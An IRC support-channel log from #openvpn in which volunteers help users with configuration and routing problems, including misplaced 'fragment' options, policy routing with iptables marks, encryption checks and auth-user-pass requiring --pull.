07:47 <@ecrist> openvpn client will only work with openvpn servers.  we have our own protocol.
07:47 <@ecrist>  you can' just use any SSL vpn client with any ol' SSL vpn server
07:47 < tflat> Well it seems to be a openvpn server. The watchguard client used for win/mac, downloads openvpn client config file when first started and the communication used seems to be openvpn.
07:48 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
07:48 <@ecrist> this might help you: http://serverfault.com/questions/103926/is-there-a-real-way-to-connect-to-watchguards-vpn-from-linux
07:48 <@vpnHelper> Title: openvpn - Is there a real way to connect to WatchGuards VPN from Linux? - Server Fault (at serverfault.com)
07:49 <@ecrist> according to that, it appears watchguard uses openvpn
07:49 < tflat> ecrist: The problem are that it doesn't work when using otp (sms password)
07:49 <@ecrist> you'd have to talk to the watchguard folks about that
07:50 < tflat> They just want people to use mac or win
07:50 < tflat> I figure that it must be some way to get this to work with a plain openvpn client
07:52 <@ecrist> we don't know if they've modified the source of openvpn to support their OTP
07:52 <@ecrist> or how they manage it with their client
07:52 -!- NetBilly [~pieter@105-236-229-247.access.mtnbusiness.co.za] has left #openvpn []
07:54 < tflat> I guess they have modified  openvpn-client to add support for a popup to enter the otp password
07:55 < rob0> openvpn-client ? If you're talking about the client for Access Server, that's not open source.
07:55 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
07:55 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
07:55 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
07:55 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer]
08:00 < tflat> The client are Watchguard Mobile VPN
08:09 < wallbroken> for openvpn?
08:16 < tflat> It's not directly for openvpn as they do have their own client. But the backend seems to be openvpn server. If not using otp the solution  at http://serverfault.com/questions/103926/is-there-a-real-way-to-connect-to-watchguards-vpn-from-linux works just fine. So I was just wondering if anybody has have any success with connection openvpn client to watchguard backend with otp
08:16 <@vpnHelper> Title: openvpn - Is there a real way to connect to WatchGuards VPN from Linux? - Server Fault (at serverfault.com)
08:19 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 264 seconds]
08:23 < kjs> anyone seen these issues before?
08:25 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
08:27 -!- hel [~hel@mail.head.de] has joined #openvpn
08:28 < hel> hi - i think I found a clue why my config (mentioned in https://forums.openvpn.net/topic13697.html ) is not working.
08:28 <@vpnHelper> Title: OpenVPN Support Forum Problems with single client : Installation Help (at forums.openvpn.net)
08:28 < hel> the 2.3.2 client seems to ignore the "fragment" keyword in the config
08:29 < hel> that explains the differing link-mtu
08:33 <@plaisthos> hel: strange ...
08:33 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
08:34 < hel> plaisthos, at the moment that's the only explanation i have for client (and server) complaining about the missing "dynamic-mtu" flag
08:34 < hel> server (2.2.1) has ist, client (2.3.2) doesn't
08:35 < hel> but client has fragment set (fragment 1300)
08:35 < hel> which is, as far as I can find out, the new identifier for "mtu-dynamic"
08:36 <@plaisthos> I am not even sure what mtu-dymanic is
08:37 < hel> it's only in older openvpn-versions (1.x) - if you put it in a config you get an error which says something like "mtu-dynamic is now called fragmen"
08:37 < hel> that's the clue i got
08:37 <@plaisthos> hel: does removing/adding the --fragment from the client config change anything in the output?
08:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
08:42 < hel> plaisthos, no - at least the link-mtu warnings stay the same and the mtu doesn't change
08:42 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:43 < hel> but AFAIU the link-mtu size should increase/decrease when switching fragment on/off
08:45 <@plaisthos> hel: do you know enough of git to do a bisect?
08:45 <@plaisthos> i.e. find the change that broke stuff?
08:45 < Eugene> I know a lot of git, and I don't bother bisecting. :v
08:45 < hel> hmm... that'll take a while because I don't have a compiler in my windows install
08:46 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:48 <@plaisthos> hel: ah okay
08:48 <@plaisthos> did not know that the client was windows
08:49 <@plaisthos> you don't happen to have a linux machine lying around? :)
08:49 < hel> i'm still checking if the problem also exists on linux
08:49 < hel> i do
08:49 <@plaisthos> this does sound like a os specific problem
08:49 <@plaisthos> +not
08:51 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: ...]
08:54 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Ping timeout: 248 seconds]
08:58 < hel> hmm... i cloned openvpn from github - but the configure script is missing
09:00 < hel> ah - didn't read closely enough
09:06 <@plaisthos> autoreconf -vif
09:06 <@plaisthos> :)
09:10 < kjs> is this legit: https://bugs.launchpad.net/ubuntu/+source/openvpn/+bug/1118705
09:10 <@vpnHelper> Title: Bug #1118705 “openvpn connection stalls” : Bugs : “openvpn” package : Ubuntu (at bugs.launchpad.net)
09:16 -!- tflat [~thomas@tb213-185-231-4.cust.teknikbyran.com] has quit [Ping timeout: 276 seconds]
09:19 < hel> could you please kickstart me with git bisect - i probably got the manual wrong, but git won't change the commit on bisect :(
09:19 < hel> i cloned the repo and went straight to 2.3.2: git checkout v2.3.2
09:20 < hel> then git bisect start; git bisect bad; git bisect good v2.2.1
09:20 < hel> but now git stays at 338b6948dd52bc0cf2da7e09a29f5127066a7af7 regardless what i do
09:22 -!- mikko [~mikko@211.24.14.102] has joined #openvpn
09:24 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
09:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:33 < hel> okay - bug seems to be betweek v2.2.2 and v2.3-alpha1
09:42 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:42 <@plaisthos> hel: 338... is before 2.2?
09:43 < hel> no idea... i'm _very_ new to git :)
09:44 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
09:44 < hel> but i'm having more results bisecting between v2.2.2 and v.2.3-alpha
09:44 <@plaisthos> http://git-scm.com/book/en/Git-Tools-Debugging-with-Git#Binary-Search
09:44 <@plaisthos> is a good start to git bisect
09:44 < hel> i'm using that manual - but bisecting from 2.3.2 back to 2.2.1 doesn't work
09:45 < hel> but i'm getting close
09:45 <@plaisthos> yeah
09:45 <@plaisthos> probably because 2.2.1 is in different tree
09:45 <+pekster> I was curious why you went back so far; do you not know if intermediate releases had the problem too?
09:46 < hel> not yet
09:46 < hel> now I do :)
09:47 <@plaisthos> you could hint git to v2.2-RC2 that seem to be a common ancestor between 2.3 and 2.2
09:47 < hel> i started a new bisect between v2.2.2 and v2.3-alpha
09:48 < hel> hmm... how do i proceed if an intermediate compile produces a different, unrelated error?
09:48 <@plaisthos> git bisect skip
09:49 < hel> okay
09:49 < hel> git gave me two possible commits
09:49 < hel> There are only 'skip'ped commits left to test.
09:49 < hel> The first bad commit could be any of:
09:49 < hel> 76809cae0eae07817160b423d3f9551df1a1d68e
09:49 < hel> 86e8754cd83d6c91a1ead344aea8c0ee131a9f26
09:49 < hel> We cannot bisect more!
09:50 <@plaisthos> 86e8754cd83d6c91a1ead344aea8c0ee131a9f26 affects link mtu
09:52 <@plaisthos> but nothing obvious
09:52 <@plaisthos> I will look into that later
09:53 <+pekster> hel: Is the client not fragmenting as you expect in 2.3.2?
09:54 < hel> it's not connecting - it complains about mtu-dynamic not being active on the remote, then lots of lzo-decompression errors and after a minute it restarts
09:54 < hel> oh well it is connecting, but no data gets through
09:54 <+pekster> Hmm, your 'FRAG_TEST' bit in the forum post is odd, because that's in the early part of the openvpn packet; if things aren't getting fragmented (yet are still arriving on the server if it's under your pMTU) then that's a "bad packet" type thing
09:55 <+pekster> That suggests that either the format of the packet is unexpected, or compression settings don't match between ends and that's mangling the packet
09:55 < hel> hmm... let me check
09:55 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
09:56 < hel> client and server have comp-lzo adaptive
09:56 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:56 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
09:57 < hel> and normally the logs should complain about settings mismatch if the lzo-settings mismatch
09:57 < hel> or not?
09:57 <+pekster> I'm not sure offhand
09:57 <+pekster> (depends if it gets mixed into the OCC stuff)
09:58 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:58 -!- Six6siX [~Six6siX@jasmine1.sammybakar.com] has joined #openvpn
09:58 <+pekster> Could still be a bug somewhere too, but the FRAG_TEST just strikes me as an odd way for it to manifest. I'm not too familiar with the internal packet header parts openvpn relies on
09:59 < hel> if I comment out comp-lzo on the client, I get an additional warning: WARNING: 'comp-lzo' is present in remote config but missing in local config, remote='comp-lzo'
09:59 <+pekster> Right, but what if you just change the option?
09:59 <+pekster> Say, "on" instead of "adaptive"
09:59 -!- Six6siX [~Six6siX@jasmine1.sammybakar.com] has quit [Quit: Leaving...]
10:00 <+pekster> (IIRC that was the cause of some prior issues when compression would flip on/off and one of the endpoints couldn't deal with it, and then got "corrupt" packets)
10:00 < hel> yes, "on" doesn't give an additional warning
10:00 < hel> "on" doesn't work at all :) it should be "yes"
10:00 < hel> but still no extra warning
10:01 <+pekster> Ideally that "should" cause one, but OCC just doesn't know about it today
10:01 <+pekster> In your case with both ends set to 'adaptive' it shouldn't be an lzo thing
10:06 < hel> aaah i think i found the problem
10:07 < hel> I have to move the "fragment" _inside_ the <connection> block
10:07 < hel> then it works
10:07 < hel> at least then the warnings about settings mismatch go away
10:07 <+pekster> Ah, okay. Yes, if you have options after, it won't apply to that block, but will to future blocks
10:07 < hel> that changed from 2.2
10:08 < hel> but at least that enables me to push out updated configs that work on both 2.2 and 2.3
10:08 <+pekster> Yes, it probably dit at some point
10:09 < hel> and I might kindly ask to mention this in the docs/manpage that configuration order matters
10:09 <+pekster> fwiw it is noted in the manpage, but it's a bit hard to read as it stands now. "If any of the above options .. appear outside of a <connection> block .. the option setting will be used as a default for <connection> blocks which follow it in the [config]"
10:09 < hel> aw...
10:09 <@plaisthos> hel: yeah putting a warning into openvpn might be a good idea
10:10 <+pekster> plaisthos: For the argument to comp-lzo?
10:11 <+pekster> If you meant warning if options are used after a <connection> block, I see that getting ugly fast
10:11 < hel> thanks a ton - again!
10:11 <@plaisthos> pekster: no for the options after <connection> block
10:11 <@plaisthos> perhaps there is a nice way
10:14 <+pekster> Some extra test in options.c or something that remembers if it loaded a <connection> block, then spits a warning if an option that can be used inside one is later used? I'm just not sure there's a great way to do that without extra code in each of the 'else if' blocks this applies to
10:16 -!- gladiatr [~sdspence@24.124.30.22] has joined #openvpn
10:16 -!- gladiatr [~sdspence@24.124.30.22] has quit [Changing host]
10:16 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
10:18 < hel> thanks guys - i gotta run. I'll type the solution in the forum thread tomorrow
10:18 < hel> er... wednesday :)
10:22 -!- Eagleman [~Eagleman@84.107.205.159] has quit [Quit: ZNC - http://znc.in]
10:22 -!- hel [~hel@mail.head.de] has quit [Quit: Verlassend]
10:29 -!- raidz_away is now known as raidz
10:30 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has joined #openvpn
10:33 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:40 -!- slimjimf1im [~slimjimfl@unaffiliated/slimjimflim] has left #openvpn []
10:46 -!- Six6siX [~six6@jasmine1.sammybakar.com] has joined #openvpn
11:02 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 245 seconds]
11:05 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:07 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
11:22 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
11:31 -!- jkaberg [~jkaberg@231.153.34.95.customer.cdi.no] has joined #openvpn
11:32 < jkaberg> how would one check if an tunnel is "active" in debian?
11:34 -!- mrrcp [~cp@23.29.120.254] has joined #openvpn
11:35 < mrrcp> Question.. Is there a way to make only certain outbound requests go through the VPN?
11:35 < mrrcp> or all but a specific IP?
11:35 < mrrcp> such as a printer etc
11:39 <+pekster> mrrcp: If you can define what you want by CIDR masks, you can set up your routing tables to do this. Otherwise what you want is called Policy Routing
11:40 <+pekster> What kind of "certain outbound requests" are you talking about? Stuff to a known set of external destinations where you know the IPs (or CIDR networks) in advance of the connection?
11:42 < mrrcp> yep
11:42 < mrrcp> well say NETFLIX
11:42 < mrrcp> its slow over VPN
11:42 < mrrcp> so id like to bypass the VPN and use the regular connection
11:43 < mrrcp> or access to my printer in the house
11:43 < mrrcp> but everything else such as IRC etc would go through the VPN
11:43 < Six6siX> How do I know if my connection is encrypted?
11:45 < Six6siX> im using viscosity on osx. I get "WARNING: No server certificate verification method has been enabled." however it connects fine and data flows perfectly.
11:45 <+pekster> mrrcp: Use a proxy for something like that. A big CDN (like netflix, google, youtube, etc) has no defined way to "route requests to them over the VPN" at the IP layer since you get a new IP from the CDN every time you make a connection
11:46 < Six6siX> just wondering if it's encrypted between my modem and the server
11:46 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
11:47 <+pekster> mrrcp: Your option option with policy routing is to run the "exception to the rule" stuff in the context of a unique user account, and most OSes have a way to treat such traffic differently. If you're doing this on Windows, that OS has very limited support for proper routing, but you can probably get creative with a web proxy on a Linux/Unix box and have _that_ send it out your physical connection, not the VPN
11:47 <+pekster> Six6siX: Check your logs -- it'll show you the data channel and TLS channel ciphers used. I'd recommend --verb 4 to get the most info
11:47 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
11:49 < Six6siX> pekster: Sep 09 17:43:47: Connection is reachable. Starting connection attempt. Sep 09 17:43:50: OpenVPN 2.3.2 i386-apple-darwin [SSL (OpenSSL)] [LZO] [PKCS11] [MH] [IPv6] built on Jun  7 2013 Sep 09 17:43:49: WARNING: No server certificate verification method has been enabled.
11:51 < Six6siX> apart from that it's just providing ip details  Peer Connection Initiated with [AF_INET]
11:52 <+pekster> Six6siX: Either you're not looking far enough into your logs, or you aren't using --verb 4 (might happen at 3 too, I forget offhand)
11:52 <+pekster> It'll look like "[CLIENT_IP:PORT] Data Channel Decrypt: Cipher 'BF-CBC' initialized with 256 bit key"
11:52 <+pekster> Or w/e crypto you're using
11:53 < Six6siX> Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
11:54 < Six6siX> that's all there is to it?
11:55 <+pekster> Yup. It'll be based off of whatever you're using for --cipher and --auth in your config
11:55 <+pekster> But that's how you "show" that it's using it
11:56 < Six6siX> ah.. because of the warning message I just thought it wasn't encrypting my connection
11:56 <+pekster> See:
11:56 <+pekster> !mitm
11:56 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
11:56 <+pekster> Basically, without that protection, "another valid client" that is equipped to MITM your connection could present itself as the server and incercept the traffic
11:58 < Six6siX> thanks
11:59 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
12:00 < mrrcp> so
12:00 < mrrcp> hmm
12:00 < Six6siX> so...
12:00 < mrrcp> i guess i dunno what to do
12:02 -!- mrrcp [~cp@23.29.120.254] has left #openvpn ["Part"]
12:15 < rugmi> hi, can someone help me debug my openvpn installtion? my HTTP traffic is not getting routed through the openvpn server
12:16 < rugmi> i am running openvpn server+client in static key configuration
12:16 < rugmi> i have different routing table setup on the client to route port 80 traffic on tun0
12:17 < rugmi> on the server side, i have setup forwarding rules for anything from tun0
12:17 -!- mikko [~mikko@211.24.14.102] has quit [Ping timeout: 256 seconds]
12:18 < rugmi> when i try to access google from browser, i see a lot of requests going from my client to server's tun0 and a lot of responses coming back
12:18 < rugmi> but the browser does not show anything
12:18 < rob0> well, uh ... "server+client" and "static key" are exclusive.
12:19 < rugmi> exclusive is fine, i just want to test something on top of vpn
12:19 <+pekster> Sort of. The client in a p2p/static-keyed setup would presumably be the one "initiating" the connection, but OpenVPN doesn't think of them as a client and server
12:19 <+pekster> (firewalls and users will, though)
12:20 < rugmi> i dont need a scalable solution at this moment. this is just like a poc kind of a thing. once its good, i can seek setting up certificates etc
12:21 < rugmi> or do you think i need to set that up even to try this simple configuration?
12:21 < rob0> did you follow the 1.x howto?
12:21 < rob0> it is indeed very simple
12:21 <+pekster> rugmi: Just as a point of reference, your setup may not do what you expect if any blob the web client fetches is from a non-tcp/80 port. I don't have a feel fow how common it is, but one could easily reference a CSS file or something from http://whatever:8080/my.css or such. It might still work, but keep this in mind for what you're doing. This said, there's nothing wrong with the concept
12:22 < rugmi> rob0: i mainly followed this: http://openvpn.net/index.php/open-source/documentation/howto.html .. but please let me know if i missed something
12:22 <@vpnHelper> Title: HOWTO (at openvpn.net)
12:23 < rugmi> @+pekster, i am not blocking 8080 on the client .. if some connection tries to fetch something over that, it should be able to do so .. i just want to see that pot 80 traffic is redirected successfully through my server
12:25 <+pekster> Right (I'm just noting that as you've described your policy routing, the "non-80 traffic" goes over a differnet path
12:26 <+pekster> It sounds to me like your traffic is getting routed to the server; you see it going sourced from the client's tun device bound for your final target, right? (google, or w/e)
12:26 < rugmi> yes i do see it getting redirected to some server such as ye-in-f101.net.http
12:26 < rugmi> which i belive is google's cdn
12:27 < rugmi> (when i try to access google.com )
12:27 < rugmi> and i see responses coming back from that as well
12:27 < rugmi> when i tried to access reddit, i believe i saw responses getting redirected and coming from akamai
12:30 < rugmi> now that i see the traffic closely, i see that traffic from google's CDN has [S] flag indicating that they are SYN packets .. possibly trying to to initiate connection
12:30 < rugmi> i do not see response from my client to that
12:33 <+pekster> The server shouldn't be sending SYN packets, though it may send SYN+ACK in reply to your SYN
12:33 <+pekster> (server being your final http server target)
12:38 -!- rugmi1 [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has joined #openvpn
12:39 < rugmi1> sorry, i got disconnected
12:39 < rugmi1> yes you are right
12:39 < rugmi1> the sequence is
12:39 < rugmi1> client->server [SYN]
12:40 < rugmi1> server->client[SYN]
12:40 < rugmi1> and then client does not respond
12:40 < rugmi1> so server keeps on sending that
12:40 <+pekster> The server should _never_ send a SYN (without ACK) back in reply to a SYN request
12:40 <+pekster> Do you have a cloudshark.org link to a capture or something?
12:41 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has quit [Ping timeout: 256 seconds]
12:41 <@plaisthos> cloudshark.org
12:41 < rugmi1> ok let me upload that
12:41 <@plaisthos> arghs
12:41 <+pekster> plaisthos: Meh, it's a nice "pastebin for pcap" files :)
12:42 < rugmi1> i will start tcpdump with write to file option
12:42 < rugmi1> in the meantime, here is pastebin link for metadata
12:42 < rugmi1> http://pastebin.com/1jkZTkDm
12:42 <+pekster> Sure, `tcpdump -pni tun0 -s0 -w somefile.pcap` and load a page
12:43 <+pekster> S. is syn+ack
12:43 < rugmi1> ah ok
12:43 <+pekster> Pretty critical to understanding how the TCP 3-way handshake works
12:44 <+pekster> There's no return ACK; either your client firewall is dropping the reply, or the application terminated communication before that point
12:44 <+pekster> (although the latter case normally results in a TCP RST packet, not "silence"
12:44 < rugmi1> yes the browser seems to be waiting
12:45 <+pekster> The server tries several times to ACK the initial request without a reply
12:45 <+pekster> Looks like a firewall problem to me
12:45 < rugmi1> ok let me see with iptables -L on client
12:45 <+pekster> If you're going to paste, use `iptables-save`
12:45 <+pekster> -L is incomplete, omits critical details, only shows you 1 table, and is a PITA to read
12:46 < rugmi1> ok
12:46 <+pekster> Ah, we do have a factoid for that
12:46 <+pekster> !iptables-rules
12:46 <@vpnHelper> "iptables-rules" is When posting iptables rules, please use the `iptables-save` syntax as it is easiest to read. While we try to be helpful, #netfilter may be more appropriate for complex netfilter issues
12:47 < rugmi1> :)
12:52 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has joined #openvpn
12:52 < rugmi> back again, my stupid virtualbox winxp keeps rebooting
12:52 < rugmi> here is the iptables output on my client
12:52 < rugmi> http://pastebin.com/TQGQbNf7
12:53 -!- rugmi1 [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has quit [Ping timeout: 240 seconds]
12:54 <+pekster> What are you attempting to do on line 10 there? You have a LAN behind your client? (if so, that makes sense)
12:55 <+pekster> 192.168.122/24 is the LAN attached to virbr0?
12:55 < rugmi> no, not actually..there is no lan behind that client
12:55 < rugmi> that client is running openvpn client and the browser runs on that client
12:56 < rugmi> ignore the virbr0
12:56 < rugmi> the reason i was executing line 10 is
12:57 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
12:57 < rugmi> to rewrite the source ip address after routing
12:57 < rugmi> so that other end will not dump the packets
12:59 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
12:59 < rugmi> i was following instruction from this stackexchange answer: http://unix.stackexchange.com/questions/21093/output-traffic-on-different-interfaces-based-on-destination-port
12:59 <@vpnHelper> Title: linux - Output traffic on different interfaces based on destination port - Unix & Linux Stack Exchange (at unix.stackexchange.com)
12:59 <+pekster> You have a rule then for fwmark 0x1 to the routing table that does `default via 10.8.0.1`?
13:00 < rugmi> yes, i've created a new table called openvpn-route
13:00 <+pekster> Oh, but by POSTROUTINg that's after the initial routing decision
13:01 < rugmi> yes i believe so
13:02 <+pekster> mangle/OUTPUT is a better place for that, and IIRC should make your SNAT on line 10 of that ruleset unnecessary
13:02 <+pekster> I'm not sure if that's the issue, but _something_ is causing your final packet to set up the TCP session to never be sent
13:03 <+pekster> Ah, you have -o eth0 in the --set-xmark bit
13:03 <+pekster> Can you paste `ip rule show` ?
13:03 < rugmi> ok one second
13:04 < wallbroken> is there some way to make authentication work without pulling from server?
13:04 <+pekster> wallbroken: Sure. auth and the client' use of --pull are separate things
13:05 <+pekster> What auth are you using now? Client-side X509 (client certs) or user/pass (or both?)
13:06 < wallbroken> plugin /usr/lib/openvpn/openvpn-auth-pam.so "openvpn"
13:06 <+pekster> So user/pass with no client certs, then you offload the user password verification to PAM
13:07 <+pekster> There's no reason you "need" pull, but if you're handing out an IP to the client this may be required unless your client knows what IP it gets in advance
13:07 <+pekster> Why are you trying to avoid pulling?
13:07 <@plaisthos> wallbroken: are you looking for route-no-pull? :)
13:07 <+pekster> !nopull
13:07 -!- rugmi1 [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has joined #openvpn
13:07 <@vpnHelper> "nopull" is "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
13:08 < rugmi1> here it is: http://pastebin.com/Hfec5Ffj
13:08 -!- mndo [~mndo@bl17-88-156.dsl.telepac.pt] has quit [Remote host closed the connection]
13:08 < wallbroken> because sometimes i need a custom configuration without tls-client and to use auth-user-pass it asks to use --pul
13:08 < wallbroken> *pull
13:09 < wallbroken> //without/with
13:09 <+pekster> When you have a multi-client server, your client must use --tls-client
13:10 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has quit [Ping timeout: 260 seconds]
13:10 <+pekster> P2MP (peer to "many" peers, ie: a server) requires that it be operated in TLS mode
13:10 <+pekster> rugmi1: If you do your fwmark in mangle/OUTPUT then you get the right IP/device before the initial routing decision, and you won't need to hack/fake it with SNAT
13:10 < wallbroken> tls-client can be used without pulling anything, so. in this case i can't use auth-user-pass
13:11 <+pekster> rugmi1: I think. You should see that with `ip route get 203.0.113.1 mark 0x1`
13:11 <+pekster> Hopefully it tells you that's going out tun0 with a src IP of 10.8.0.2 (or w/e tun0 has)
13:11 < wallbroken> pekster: Options error: --auth-user-pass requires --pull
13:11 < wallbroken> this is the problem.
13:12 < wallbroken> i'd like to use auth-user-pass without using --pull
13:12 < rugmi1> ok, i will try that
13:14 <@plaisthos> wallbroken: iirc auth+pass are sent in the pull request
13:14 <+pekster> rugmi1: If your route looks correct from `ip route get`, then try to see where the "missing ACK" is going. Nothing in that ruleset appears to block the reply you get from the server (INPUT has a policy of ACCEPT, though you will need state rules if you change that.) There's no reason it should go away
13:15 < rugmi1> i see
13:15 <+pekster> rugmi1: Maybe use a targetless rule as a "hit counter" to see if it's going out something not tun0? Try this in mangle/POSTROUTING: `-A POSTROUTING ! -o tun0 -p tcp --dport 80` or such
13:16 < rugmi1> ok
13:17 <+pekster> One of several things is happening: 1) the server's SYN+ACK never comes back to the client app (your firewall doesn't appear to be doing this.) 2) the reply gets there, and the final ACK is routed the wrong way, or 3) the client gets the SYN+ACK but never sends an ACK back. This is very odd since a browser is generally doing a connect() call
13:17 <@plaisthos> wallbroken: But I would have to check the source to verify
13:17 <@plaisthos> wallbroken: If you are feeling frage you comment the error message and see what happens
13:17 < wallbroken> plaisthos, that source is openvpn software built-in
13:18 < wallbroken> if you don't have it, i can paste
13:18 < rugmi1> ah yes, that is systematic. i will try to debug which one of them is causing problem
13:19 <@plaisthos> wallbroken: ?!
13:20 <@plaisthos> wallbroken: with source I meant the source code of OpenVPN
13:20 <@plaisthos> like modify openvpn
13:20 < wallbroken> you are not talking about the source of the authentication plugin?
13:21 <@plaisthos> no
13:21 < wallbroken> ok, sorry
13:21 <@plaisthos> I mean the change has to be on the client
13:21 <@plaisthos> which does not even know or care about that plugin
13:37 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
13:41 -!- jkaberg [~jkaberg@231.153.34.95.customer.cdi.no] has quit [Read error: Connection reset by peer]
14:04 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
14:04 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
14:04 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:09 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
14:13 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
14:16 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
14:17 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
14:33 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Quit: Leaving]
14:37 -!- Devastatr [~devas@186.214.15.217] has joined #openvpn
14:38 -!- p3rror [~mezgani@41.248.196.194] has joined #openvpn
14:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
14:40 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 264 seconds]
14:40 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
14:42 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
14:43 -!- Devastatr [~devas@186.214.15.217] has quit [Changing host]
14:43 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:43 -!- Devastatr is now known as Devastator
14:49 -!- kiyor [~kiyor@12.13.90.183] has quit [Read error: Connection reset by peer]
14:49 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
15:00 -!- rugmi1 [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has quit [Ping timeout: 245 seconds]
15:15 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has joined #openvpn
15:15 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
15:16 < Neozonz> how do i create a private network between 2 data centers ? I would like to create a 192.168.0.1 - 192.168.0.254 network between two servers
15:18 < Azrael_-> just setup openvpn on both servers
15:19 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
15:20 < Neozonz> the 2 server have 10 servers on each
15:20 < Neozonz> (virtual)
15:20 < Neozonz> I would like all servers to communicate to each other
15:21 < Neozonz> currently the 10 servers on both data centers have private virtual nics with 192.168.0.x addressing
15:21 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Remote host closed the connection]
15:22 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
15:24 < Azrael_-> then you'll have a problem imho. in order all servers to be able to talk to each other put one datacenter into 192.168.1.x and the other into 192.168.2.x and the vpn into 192.168.0.x. and then just add routes using the vpn to eachother
15:25 < Azrael_-> perhaps it is also possible to have all servers in the same subnet but i dunno how
15:27 < Neozonz> hmm ok
15:31 -!- s0meone [~someone@somewhe.re] has quit [Quit: Quit]
15:31 -!- s0meone [~someone@somewhe.re] has joined #openvpn
15:35 <+pekster> Neozonz: At each locate (each of your DC's) do you currently have unique networks for each collection of servers?
15:35 < Azrael_-> pekster: "currently the 10 servers on both data centers have private virtual nics with 192.168.0.x addressing" <-- no
15:35 <+pekster> That doesn't say either way
15:35 < Azrael_-> ok..... =
15:35 < Azrael_-> ?
15:35 <+pekster> If they have "private virutal nics" all on the same 192.168.0/24, then the answer is yes
15:35 <+pekster> Neozonz: Which is it?
15:36 <+pekster> Obviously they're not unique between them if "both sides" use the same network, but that should be easy to fix with some renumbering
15:36 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has joined #openvpn
15:36 <+pekster> That is also a horrible choice for any corporate networking since it's probably the single most common /24 in RFC1918 space, but that's not really relevant here
